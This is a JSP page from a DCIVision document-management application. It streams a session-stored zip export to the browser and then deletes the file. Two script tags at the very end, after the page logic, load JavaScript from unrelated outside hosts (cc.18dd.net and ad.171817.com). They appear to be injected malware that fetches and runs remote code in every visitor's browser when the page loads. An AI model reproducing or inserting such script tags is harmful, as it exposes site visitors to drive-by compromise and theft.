<%
/*
 * @(#)FileDownloadSearchResult.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownloadSearchResult.jsp

  This class is used to retrieve the search result content from http

  @author          Zoe Shum
  @company         DCIVision Limited
  @creation date   06/08/2003
  @version         $Revision: 1.6.4.3 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="org.apache.struts.action.Action"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
InputStream dataStream = null;
String zipFileName = (String)request.getSession().getAttribute("zipExportFileName");
try {
  if(!Utility.isEmpty(zipFileName)){
    dataStream = new FileInputStream(zipFileName);
    FileDownloader fd = new FileDownloader();
    
		/*
		 *	Update Code Start
		 *	Author				Jim.Zhou
		 *	Date					2006/04/10
		 *	Bug						#4820
		 */
		/* 
    String browserType = request.getHeader("User-Agent");
    if (browserType.indexOf("Firefox")!=-1) {
    	fd.setIsDownload(false);
    } else {
    	fd.setIsDownload(true);
    }
		*/
		fd.setIsDownload(true);
		/*
		 *	Update Code End
		 */	
    
    fd.setFileName("result.zip");
    fd.setContentType(HTTPUtility.CONTENT_TYPE);
    fd.setInputStream(dataStream);
    fd.setResponse(response);
    fd.operate();
  }else{
    response.flushBuffer();
  }
  
  request.getSession().removeAttribute("zipExportFileName");
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { 
    if(!Utility.isEmpty(zipFileName)){
      dataStream.close(); 
    }
  } catch (Exception ignore) {} finally { dataStream = null; }
  try { 
    if(!Utility.isEmpty(zipFileName)){
      new File(zipFileName).delete(); 
    }
  } catch (Exception ignore) {}
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>